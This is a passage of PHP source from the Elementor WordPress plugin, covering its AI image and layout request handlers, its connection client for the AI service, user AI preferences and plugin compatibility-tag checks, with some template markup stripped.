$app->get_image_to_image_remove_background( [ 'attachment_id' => $data['payload']['image']['id'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image_mask( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } if ( empty( $data['payload']['image'] ) || empty( $data['payload']['image']['id'] ) ) { throw new \Exception( 'Missing Image' ); } if ( empty( $data['payload']['settings'] ) ) { throw new \Exception( 'Missing prompt settings' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } if ( empty( $data['payload']['mask'] ) ) { throw new \Exception( 'Missing Mask' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_to_image_mask( [ 'prompt' => $data['payload']['prompt'], 'attachment_id' => $data['payload']['image']['id'], 'mask' => $data['payload']['mask'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image_mask_cleanup( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['payload']['image'] ) || empty( $data['payload']['image']['id'] ) ) { throw new \Exception( 'Missing Image' ); } if ( empty( $data['payload']['settings'] ) ) { throw new \Exception( 'Missing prompt settings' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } if ( empty( $data['payload']['mask'] ) ) { throw new \Exception( 'Missing Mask' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_to_image_mask_cleanup( [ 'attachment_id' => $data['payload']['image']['id'], 'mask' => $data['payload']['mask'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image_outpainting( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } if ( empty( $data['payload']['mask'] ) ) { throw new \Exception( 'Missing Expended Image' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_to_image_out_painting( [ 'size' => $data['payload']['size'], 'position' => $data['payload']['position'], 'mask' => $data['payload']['mask'], 'image_base64' => $data['payload']['image_base64'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_upload_image( $data ) { if ( empty( $data['image'] ) ) { throw new \Exception( 'Missing image data' ); } $image = $data['image']; if ( empty( $image['image_url'] ) ) { throw new \Exception( 'Missing image_url' ); } $image_data = $this->upload_image( $image['image_url'], $data['prompt'], $data['editor_post_id'] ); if ( is_wp_error( $image_data ) ) { throw new \Exception( $image_data->get_error_message() ); } if ( ! empty( $image['use_gallery_image'] ) && ! empty( $image['id'] ) ) { $app = $this->get_ai_app(); $app->set_used_gallery_image( $image['id'] ); } return [ 'image' => array_merge( $image_data, $data ), ]; } public function ajax_ai_generate_layout( $data ) { $this->verify_permissions( $data['editor_post_id'] ); $app = $this->get_ai_app(); if ( empty( $data['prompt'] ) && empty( $data['attachments'] ) ) { throw new \Exception( 'Missing prompt / attachments' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $result = $app->generate_layout( $data, $this->prepare_generate_layout_context( $data ) ); if ( is_wp_error( $result ) ) { $message = $result->get_error_message(); if ( is_array( $message ) ) { $message = implode( ', ', $message ); throw new \Exception( $message ); } $this->throw_on_error( $result ); } $elements = $result['text']['elements'] ?? []; $base_template_id = $result['baseTemplateId'] ?? null; $template_type = $result['templateType'] ?? null; if ( empty( $elements ) || ! is_array( $elements ) ) { throw new \Exception( 'unknown_error' ); } if ( 1 === count( $elements ) ) { $template = $elements[0]; } else { $template = [ 'elType' => 'container', 'elements' => $elements, 'settings' => [ 'content_width' => 'full', 'flex_gap' => [ 'column' => '0', 'row' => '0', 'unit' => 'px', ], 'padding' => [ 'unit' => 'px', 'top' => '0', 'right' => '0', 'bottom' => '0', 'left' => '0', 'isLinked' => true, ], ], ]; } return [ 'all' => [], 'text' => $template, 'response_id' => $result['responseId'], 'usage' => $result['usage'], 'base_template_id' => $base_template_id, 'template_type' => $template_type, ]; } public function ajax_ai_get_layout_prompt_enhancer( $data ) { $this->verify_permissions( $data['editor_post_id'] ); $app = $this->get_ai_app(); if ( empty( $data['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $result = $app->get_layout_prompt_enhanced( $data['prompt'], $data['enhance_type'], $this->prepare_generate_layout_context( $data ) ); $this->throw_on_error( $result ); return [ 'text' => $result['text'] ?? $data['prompt'], 'response_id' => $result['responseId'] ?? '', 'usage' => $result['usage'] ?? '', ]; } private function prepare_generate_layout_context( $data ) { $request_context = $this->get_request_context( $data ); $kit = Plugin::$instance->kits_manager->get_active_kit(); if ( ! $kit ) { return $request_context; } $kits_data = Collection::make( $kit->get_data()['settings'] ?? [] ); $colors = $kits_data ->filter( function ( $_, $key ) { return in_array( $key, [ 'system_colors', 'custom_colors' ], true ); } ) ->flatten() ->filter( function ( $val ) { return ! empty( $val['_id'] ); } ) ->map( function ( $val ) { return [ 'id' => $val['_id'], 'label' => $val['title'] ?? null, 'value' => $val['color'] ?? null, ]; } ); $typography = $kits_data ->filter( function ( $_, $key ) { return in_array( $key, [ 'system_typography', 'custom_typography' ], true ); } ) ->flatten() ->filter( function ( $val ) { return ! empty( $val['_id'] ); } ) ->map( function ( $val ) { $font_size = null; if ( isset( $val['typography_font_size']['unit'], $val['typography_font_size']['size'] ) ) { $prop = $val['typography_font_size']; $font_size = 'custom' === $prop['unit'] ? $prop['size'] : $prop['size'] . $prop['unit']; } return [ 'id' => $val['_id'], 'label' => $val['title'] ?? null, 'value' => [ 'family' => $val['typography_font_family'] ?? null, 'weight' => $val['typography_font_weight'] ?? null, 'style' => $val['typography_font_style'] ?? null, 'size' => $font_size, ], ]; } ); $request_context['globals'] = [ 'colors' => $colors->all(), 'typography' => $typography->all(), ]; return $request_context; } private function upload_image( $image_url, $image_title, $parent_post_id = 0 ) { if ( ! current_user_can( 'upload_files' ) ) { throw new \Exception( 'Not Allowed to Upload images' ); } $attachment_id = media_sideload_image( $image_url, $parent_post_id, $image_title, 'id' ); if ( ! empty( $attachment_id['error'] ) ) { return new \WP_Error( 'upload_error', $attachment_id['error'] ); } return [ 'id' => $attachment_id, 'url' => wp_get_attachment_image_url( $attachment_id, 'full' ), 'alt' => $image_title, 'source' => 'library', ]; } public function ajax_ai_get_history( $data ): array { $type = $data['type'] ?? self::HISTORY_TYPE_ALL; if ( ! in_array( $type, self::VALID_HISTORY_TYPES, true ) ) { throw new \Exception( 'Invalid history type' ); } $page = sanitize_text_field( $data['page'] ?? 1 ); $limit = sanitize_text_field( $data['limit'] ?? 10 ); $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $result = $app->get_history_by_type( $type, $page, $limit, $context ); if ( is_wp_error( $result ) ) { throw new \Exception( $result->get_error_message() ); } return $result; } public function ajax_ai_delete_history_item( $data ): array { if ( empty( $data['id'] ) || ! wp_is_uuid( $data['id'] ) ) { throw new \Exception( 'Missing id parameter' ); } $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $result = $app->delete_history_item( $data['id'], $context ); if ( is_wp_error( $result ) ) { throw new \Exception( $result->get_error_message() ); } return []; } public function ajax_ai_toggle_favorite_history_item( $data ): array { if ( empty( $data['id'] ) || ! wp_is_uuid( $data['id'] ) ) { throw new \Exception( 'Missing id parameter' ); } $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $result = $app->toggle_favorite_history_item( $data['id'], $context ); if ( is_wp_error( $result ) ) { throw new \Exception( $result->get_error_message() ); } return []; } /** * @param mixed $result */ private function throw_on_error( $result ): void { if ( is_wp_error( $result ) ) { wp_send_json_error( [ 'message' => $result->get_error_message(), 'extra_data' => $result->get_error_data(), ] ); } } } modules/ai/preferences.php000064400000005566147206604650011645 0ustar00add_personal_options_settings( $user ); } ); add_action( 'personal_options_update', function ( $user_id ) { $this->update_personal_options_settings( $user_id ); } ); add_action( 'edit_user_profile_update', function ( $user_id ) { $this->update_personal_options_settings( $user_id ); } ); } /** * Determine if AI features are enabled for a user. * * @param int $user_id - User ID. * * @return bool */ public static function is_ai_enabled( $user_id ) { return (bool) User::get_user_option_with_default( static::ENABLE_AI, $user_id, true ); } /** * Add settings to the "Personal Options". * * @param \WP_User $user - User object. * * @return void */ protected function add_personal_options_settings( \WP_User $user ) { if ( ! $this->has_permissions_to_edit_user( $user->ID ) ) { return; } $ai_value = User::get_user_option_with_default( static::ENABLE_AI, $user->ID, '1' ); ?>

has_permissions_to_edit_user( $user_id ) ) { return; } $ai_value = empty( $_POST[ static::ENABLE_AI ] ) ? '0' : '1'; update_user_option( $user_id, static::ENABLE_AI, sanitize_text_field( $ai_value ) ); } /** * Determine if the current user has permission to view/change preferences of a user. * * @param int $user_id * * @return bool */ protected function has_permissions_to_edit_user( $user_id ) { return current_user_can( 'edit_user', $user_id ); } } modules/ai/connect/ai.php000064400000046245147206604650011365 0ustar00ai_request( 'POST', 'status/check', [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function get_cached_usage() { $cache_key = 'elementor_ai_usage'; $cache_time = 24 * HOUR_IN_SECONDS; $usage = get_site_transient( $cache_key ); if ( ! $usage ) { $usage = $this->get_usage(); set_site_transient( $cache_key, $usage, $cache_time ); } return $usage; } public function get_remote_config() { return $this->ai_request( 'GET', 'remote-config/config', [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function get_remote_frontend_config( $data ) { return $this->ai_request( 'POST', 'remote-config/frontend-config', [ 'client_name' => $data['payload']['client_name'], 'client_version' => $data['payload']['client_version'], 'client_session_id' => $data['payload']['client_session_id'], 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } /** * get_file_payload * @param $filename * @param $file_type * @param $file_path * @param $boundary * * @return string */ private function get_file_payload( $filename, $file_type, $file_path, $boundary ) { $name = $filename ?? basename( $file_path ); $mine_type = 'image' === $file_type ? image_type_to_mime_type( exif_imagetype( $file_path ) ) : $file_type; $payload = ''; // Upload the file $payload .= '--' . $boundary; $payload .= "\r\n"; $payload .= 'Content-Disposition: form-data; name="' . esc_attr( $name ) . '"; filename="' . esc_attr( $name ) . '"' . "\r\n"; $payload .= 'Content-Type: ' . $mine_type . "\r\n"; $payload .= "\r\n"; $payload .= file_get_contents( $file_path ); $payload .= "\r\n"; return $payload; } private function get_upload_request_body( $body, $file, $boundary, $file_name = '' ) { $payload = ''; // add all body fields as standard POST fields: foreach ( $body as $name => $value ) { $payload .= '--' . $boundary; $payload .= "\r\n"; $payload .= 'Content-Disposition: form-data; name="' . esc_attr( $name ) . '"' . "\r\n\r\n"; $payload .= $value; $payload .= "\r\n"; } if ( is_array( $file ) ) { foreach ( $file as $key => $file_data ) { $payload .= $this->get_file_payload( $file_data['name'], $file_data['type'], $file_data['path'], $boundary ); } } else { $image_mime = image_type_to_mime_type( exif_imagetype( $file ) ); // @todo: add validation for supported image types if ( empty( $file_name ) ) { $file_name = basename( $file ); } $payload .= $this->get_file_payload( $file_name, $image_mime, $file, $boundary ); } $payload .= '--' . $boundary . '--'; return $payload; } private function ai_request( $method, $endpoint, $body, $file = false, $file_name = '', $format = 'default' ) { $headers = [ 'x-elementor-ai-version' => '2', ]; if ( $file ) { $boundary = wp_generate_password( 24, false ); $body = $this->get_upload_request_body( $body, $file, $boundary, $file_name ); // add content type header $headers['Content-Type'] = 'multipart/form-data; boundary=' . $boundary; } elseif ( 'json' === $format ) { $headers['Content-Type'] = 'application/json'; $body = wp_json_encode( $body ); } return $this->http_request( $method, $endpoint, [ 'timeout' => 100, 'headers' => $headers, 'body' => $body, ], [ 'return_type' => static::HTTP_RETURN_TYPE_ARRAY, 'with_error_data' => true, ] ); } public function set_get_started() { return $this->ai_request( 'POST', 'status/get-started', [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function set_status_feedback( $response_id ) { return $this->ai_request( 'POST', 'status/feedback/' . $response_id, [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function set_used_gallery_image( $image_id ) { return $this->ai_request( 'POST', 'status/used-gallery-image/' . $image_id, [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function get_completion_text( $prompt, $context, $request_ids ) { return $this->ai_request( 'POST', 'text/completion', [ 'prompt' => $prompt, 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } public function get_excerpt( $prompt, $context, $request_ids ) { $excerpt_length = apply_filters( 'excerpt_length', 55 ); return $this->ai_request( 'POST', 'text/get-excerpt', [ 'content' => $prompt, 'maxLength' => $excerpt_length, 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } /** * get_image_prompt_enhanced * @param $prompt * * @return mixed|\WP_Error */ public function get_image_prompt_enhanced( $prompt, $context, $request_ids ) { return $this->ai_request( 'POST', 'text/enhance-image-prompt', [ 'prompt' => $prompt, 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function get_edit_text( $data, $context, $request_ids ) { return $this->ai_request( 'POST', 'text/edit', [ 'input' => $data['payload']['input'], 'instruction' => $data['payload']['instruction'], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } public function get_custom_code( $data, $context, $request_ids ) { return $this->ai_request( 'POST', 'text/custom-code', [ 'prompt' => $data['payload']['prompt'], 'language' => $data['payload']['language'], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } public function get_custom_css( $data, $context, $request_ids ) { return $this->ai_request( 'POST', 'text/custom-css', [ 'prompt' => $data['payload']['prompt'], 'html_markup' => $data['payload']['html_markup'], 'element_id' => $data['payload']['element_id'], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } /** * get_text_to_image * @param $prompt * @param $prompt_settings * * @return mixed|\WP_Error */ public function get_text_to_image( $data, $context, $request_ids ) { return $this->ai_request( 'POST', 'image/text-to-image', [ self::PROMPT => $data['payload']['prompt'], self::IMAGE_TYPE => $data['payload']['settings'][ self::IMAGE_TYPE ] . '/' . $data['payload']['settings'][ self::STYLE_PRESET ], self::ASPECT_RATIO => $data['payload']['settings'][ self::ASPECT_RATIO ], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } /** * get_featured_image * @param $prompt * @param $prompt_settings * * @return mixed|\WP_Error */ public function get_featured_image( $data, $context, $request_ids ) { return $this->ai_request( 'POST', 'image/text-to-image/featured-image', [ self::PROMPT => $data['payload']['prompt'], self::IMAGE_TYPE => $data['payload']['settings'][ self::IMAGE_TYPE ] . '/' . $data['payload']['settings'][ self::STYLE_PRESET ], self::ASPECT_RATIO => $data['payload']['settings'][ self::ASPECT_RATIO ], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } /** * get_image_to_image * @param $image_data * * @return mixed|\WP_Error * @throws \Exception */ public function get_image_to_image( $image_data, $context, $request_ids ) { $image_file = get_attached_file( $image_data['attachment_id'] ); if ( ! $image_file ) { throw new \Exception( 'Image file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image', [ self::PROMPT => $image_data[ self::PROMPT ], self::IMAGE_TYPE => $image_data['promptSettings'][ self::IMAGE_TYPE ] . '/' . $image_data['promptSettings'][ self::STYLE_PRESET ], self::IMAGE_STRENGTH => $image_data['promptSettings'][ self::IMAGE_STRENGTH ], self::ASPECT_RATIO => $image_data['promptSettings'][ self::ASPECT_RATIO ], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], $image_file, 'image' ); return $result; } /** * get_image_to_image_upscale * @param $image_data * * @return mixed|\WP_Error * @throws \Exception */ public function get_image_to_image_upscale( $image_data, $context, $request_ids ) { $image_file = get_attached_file( $image_data['attachment_id'] ); if ( ! $image_file ) { throw new \Exception( 'Image file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image/upscale', [ self::IMAGE_RESOLUTION => $image_data['promptSettings']['upscale_to'], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], $image_file, 'image' ); return $result; } /** * get_image_to_image_remove_background * @param $image_data * * @return mixed|\WP_Error * @throws \Exception */ public function get_image_to_image_remove_background( $image_data, $context, $request_ids ) { $image_file = get_attached_file( $image_data['attachment_id'] ); if ( ! $image_file ) { throw new \Exception( 'Image file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image/remove-background', [ 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], $image_file, 'image' ); return $result; } /** * get_image_to_image_remove_text * @param $image_data * * @return mixed|\WP_Error * @throws \Exception */ public function get_image_to_image_replace_background( $image_data, $context, $request_ids ) { $image_file = get_attached_file( $image_data['attachment_id'] ); if ( ! $image_file ) { throw new \Exception( 'Image file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image/replace-background', [ self::PROMPT => $image_data[ self::PROMPT ], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], $image_file, 'image' ); return $result; } /** * store_temp_file * used to store a temp file for the AI request and deletes it once the request is done * @param $file_content * @param $file_ext * * @return string */ private function store_temp_file( $file_content, $file_ext = '' ) { $temp_file = str_replace( '.tmp', '', wp_tempnam() . $file_ext ); file_put_contents( $temp_file, $file_content ); // make sure the temp file is deleted on shutdown register_shutdown_function( function () use ( $temp_file ) { if ( file_exists( $temp_file ) ) { unlink( $temp_file ); } } ); return $temp_file; } /** * get_image_to_image_out_painting * @param $image_data * * @return mixed|\WP_Error * @throws \Exception */ public function get_image_to_image_out_painting( $image_data, $context, $request_ids ) { $img_content = str_replace( ' ', '+', $image_data['mask'] ); $img_content = substr( $img_content, strpos( $img_content, ',' ) + 1 ); $img_content = base64_decode( $img_content ); $mask_file = $this->store_temp_file( $img_content, '.png' ); if ( ! $mask_file ) { throw new \Exception( 'Expended Image file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image/outpainting', [ 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'size' => wp_json_encode( $image_data['size'] ), 'position' => wp_json_encode( $image_data['position'] ), 'image_base64' => $image_data['image_base64'], $image_data['image'], ], [ [ 'name' => 'image', 'type' => 'image', 'path' => $mask_file, ], ] ); return $result; } /** * get_image_to_image_mask * @param $image_data * * @return mixed|\WP_Error * @throws \Exception */ public function get_image_to_image_mask( $image_data, $context, $request_ids ) { $image_file = get_attached_file( $image_data['attachment_id'] ); $mask_file = $this->store_temp_file( $image_data['mask'], '.svg' ); if ( ! $image_file ) { throw new \Exception( 'Image file not found' ); } if ( ! $mask_file ) { throw new \Exception( 'Mask file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image/inpainting', [ self::PROMPT => $image_data[ self::PROMPT ], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'image_base64' => $image_data['image_base64'], ], [ [ 'name' => 'image', 'type' => 'image', 'path' => $image_file, ], [ 'name' => 'mask_image', 'type' => 'image/svg+xml', 'path' => $mask_file, ], ] ); return $result; } public function get_image_to_image_mask_cleanup( $image_data, $context, $request_ids ) { $image_file = get_attached_file( $image_data['attachment_id'] ); $mask_file = $this->store_temp_file( $image_data['mask'], '.svg' ); if ( ! $image_file ) { throw new \Exception( 'Image file not found' ); } if ( ! $mask_file ) { throw new \Exception( 'Mask file not found' ); } $result = $this->ai_request( 'POST', 'image/image-to-image/cleanup', [ self::PROMPT => $image_data[ self::PROMPT ], 'context' => wp_json_encode( $context ), 'ids' => $request_ids, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'image_base64' => $image_data['image_base64'], ], [ [ 'name' => 'image', 'type' => 'image', 'path' => $image_file, ], [ 'name' => 'mask_image', 'type' => 'image/svg+xml', 'path' => $mask_file, ], ] ); return $result; } public function generate_layout( $data, $context ) { $endpoint = 'generate/layout'; $body = [ 'prompt' => $data['prompt'], 'variationType' => (int) $data['variationType'], 'ids' => $data['ids'], ]; if ( ! empty( $data['prevGeneratedIds'] ) ) { $body['generatedBaseTemplatesIds'] = $data['prevGeneratedIds']; } if ( ! empty( $data['attachments'] ) ) { $attachment = $data['attachments'][0]; switch ( $attachment['type'] ) { case 'json': $endpoint = 'generate/generate-json-variation'; $body['json'] = [ 'type' => 'elementor', 'elements' => [ $attachment['content'] ], 'label' => $attachment['label'], 'source' => $attachment['source'], ]; break; case 'url': $endpoint = 'generate/html-to-elementor'; $html = wp_json_encode( $attachment['content'] ); $body['html'] = $html; $body['htmlFetchedUrl'] = $attachment['label']; break; } } $context['currentContext'] = $data['currentContext']; $context['features'] = [ 'supportedFeatures' => [ 'Taxonomy' ], ]; if ( ElementorUtils::has_pro() ) { $context['features']['subscriptions'] = [ 'Pro' ]; } if ( Plugin::$instance->experiments->is_feature_active( 'container_grid' ) ) { $context['features']['supportedFeatures'][] = 'Grid'; } if ( Plugin::instance()->experiments->get_active_features()['nested-elements'] ) { $context['features']['supportedFeatures'][] = 'Nested'; } if ( Plugin::instance()->experiments->get_active_features()['mega-menu'] ) { $context['features']['supportedFeatures'][] = 'MegaMenu'; } if ( class_exists( 'WC' ) ) { $context['features']['supportedFeatures'][] = 'WooCommerce'; } $metadata = [ 'context' => $context, 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'config' => [ 'generate' => [ 'all' => true, ], ], ]; $body = array_merge( $body, $metadata ); // Temp hack for platforms that filters the http_request_args, and it breaks JSON requests. remove_all_filters( 'http_request_args' ); return $this->ai_request( 'POST', $endpoint, $body, false, '', 'json' ); } public function get_layout_prompt_enhanced( $prompt, $enhance_type, $context ) { return $this->ai_request( 'POST', 'generate/enhance-prompt', [ 'prompt' => $prompt, 'enhance_type' => $enhance_type, 'context' => wp_json_encode( $context ), 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ], false, '', 'json' ); } public function get_history_by_type( $type, $page, $limit, $context = [] ) { $endpoint = Module::HISTORY_TYPE_ALL === $type ? 'history' : add_query_arg( [ 'page' => $page, 'limit' => $limit, ], "history/{$type}" ); return $this->ai_request( 'POST', $endpoint, [ 'context' => wp_json_encode( $context ), 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function delete_history_item( $id, $context = [] ) { return $this->ai_request( 'DELETE', 'history/' . $id, [ 'context' => wp_json_encode( $context ), 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } public function toggle_favorite_history_item( $id, $context = [] ) { return $this->ai_request( 'POST', sprintf( 'history/%s/favorite', $id ), [ 'context' => wp_json_encode( $context ), 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), ] ); } protected function init() {} } modules/compatibility-tag/module.php000064400000003251147206604650013647 0ustar00merge( $this->get_plugins_with_plugin_title_in_their_name() ); } /** * Get all the plugins that has the name of the current plugin in their name. * * @return Collection */ private function get_plugins_with_plugin_title_in_their_name() { return Plugin::$instance->wp ->get_plugins() ->except( [ 'elementor/elementor.php', 'elementor-beta/elementor-beta.php', 'block-builder/block-builder.php', ] ) ->filter( function ( array $data ) { return false !== strpos( strtolower( $data['Name'] ), 'elementor' ); } ); } } modules/compatibility-tag/views/plugin-update-message-compatibility.php000064400000004256147206604650022574 0ustar00
- get_plugin_label() ), $new_version->__toString() // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ); ?>

$plugin_data ) : ?> get_plugin_header() ] = esc_html__( 'Unknown', 'elementor' ); } ?>
get_plugin_label() ) ); ?>
get_plugin_header() ] ); ?>
modules/compatibility-tag/compatibility-tag-report.php000064400000010414147206604650017314 0ustar00compatibility_tag_service = $this->_properties['fields']['compatibility_tag_service']; $this->plugin_label = $this->_properties['fields']['plugin_label']; $this->plugin_version = $this->_properties['fields']['plugin_version']; $this->plugins_to_check = $this->_properties['fields']['plugins_to_check']; } /** * The title of the report * * @return string */ public function get_title() { return $this->plugin_label . ' - Compatibility Tag'; } /** * Report fields * * @return string[] */ public function get_fields() { return [ 'report_data' => '', ]; } /** * Report data. * * @return string[] * @throws \Exception */ public function get_report_data() { $compatibility_status = $this->compatibility_tag_service->check( $this->plugin_version, $this->plugins_to_check ); return [ 'value' => $compatibility_status, ]; } public function get_html_report_data() { $compatibility_status = $this->compatibility_tag_service->check( $this->plugin_version, $this->plugins_to_check ); $compatibility_status = $this->get_html_from_compatibility_status( $compatibility_status ); return [ 'value' => $compatibility_status, ]; } public function get_raw_report_data() { $compatibility_status = $this->compatibility_tag_service->check( $this->plugin_version, $this->plugins_to_check ); $compatibility_status = $this->get_raw_from_compatibility_status( $compatibility_status ); return [ 'value' => $compatibility_status, ]; } /** * Merge compatibility status with the plugins data. * * @param array $compatibility_status * * @return Collection */ private function merge_compatibility_status_with_plugins( array $compatibility_status ) { $labels = $this->get_report_labels(); $compatibility_status = ( new Collection( $compatibility_status ) ) ->map( function ( $value ) use ( $labels ) { $status = isset( $labels[ $value ] ) ? $labels[ $value ] : esc_html__( 'Unknown', 'elementor' ); return [ 'compatibility_status' => $status ]; } ); return Plugin::$instance->wp ->get_plugins() ->only( $compatibility_status->keys() ) ->merge_recursive( $compatibility_status ); } /** * Format compatibility status into HTML. * * @param array $compatibility_status * * @return string */ private function get_html_from_compatibility_status( array $compatibility_status ) { return $this->merge_compatibility_status_with_plugins( $compatibility_status ) ->map( function ( array $plugin ) { return " {$plugin['Name']} {$plugin['compatibility_status']} "; } ) ->implode( '' ); } /** * Format compatibility status into raw string. * * @param array $compatibility_status * * @return string */ private function get_raw_from_compatibility_status( array $compatibility_status ) { return PHP_EOL . $this->merge_compatibility_status_with_plugins( $compatibility_status ) ->map( function ( array $plugin ) { return "\t{$plugin['Name']}: {$plugin['compatibility_status']}"; } ) ->implode( PHP_EOL ); } /** * @return array */ private function get_report_labels() { return [ Compatibility_Tag::COMPATIBLE => esc_html__( 'Compatible', 'elementor' ), Compatibility_Tag::INCOMPATIBLE => esc_html__( 'Incompatible', 'elementor' ), Compatibility_Tag::HEADER_NOT_EXISTS => esc_html__( 'Compatibility not specified', 'elementor' ), Compatibility_Tag::INVALID_VERSION => esc_html__( 'Compatibility unknown', 'elementor' ), Compatibility_Tag::PLUGIN_NOT_EXISTS => esc_html__( 'Error', 'elementor' ), ]; } } modules/compatibility-tag/compatibility-tag.php000064400000003707147206604650016012 0ustar00header = $header; } /** * Return if plugins is compatible or not. * * @param Version $version * @param array $plugins_names * * @return array * @throws \Exception */ public function check( Version $version, array $plugins_names ) { return ( new Collection( $plugins_names ) ) ->map_with_keys( function ( $plugin_name ) use ( $version ) { return [ $plugin_name => $this->is_compatible( $version, $plugin_name ) ]; } ) ->all(); } /** * Check single plugin if is compatible or not. * * @param Version $version * @param $plugin_name * * @return string * @throws \Exception */ private function is_compatible( Version $version, $plugin_name ) { $plugins = Plugin::$instance->wp->get_plugins(); if ( ! isset( $plugins[ $plugin_name ] ) ) { return self::PLUGIN_NOT_EXISTS; } $requested_plugin = $plugins[ $plugin_name ]; if ( empty( $requested_plugin[ $this->header ] ) ) { return self::HEADER_NOT_EXISTS; } if ( ! Version::is_valid_version( $requested_plugin[ $this->header ] ) ) { return self::INVALID_VERSION; } if ( $version->compare( '>', $requested_plugin[ $this->header ], Version::PART_MAJOR_2 ) ) { return self::INCOMPATIBLE; } return self::COMPATIBLE; } } modules/compatibility-tag/base-module.php000064400000007505147206604650014565 0ustar00compatibility_tag_service ) { $this->compatibility_tag_service = new Compatibility_Tag( $this->get_plugin_header() ); } return $this->compatibility_tag_service; } /** * Add allowed headers to plugins. * * @param array $headers * @param $compatibility_tag_header * * @return array */ protected function enable_elementor_headers( array $headers, $compatibility_tag_header ) { $headers[] = $compatibility_tag_header; return $headers; } /** * @return Collection */ protected function get_plugins_to_check() { return 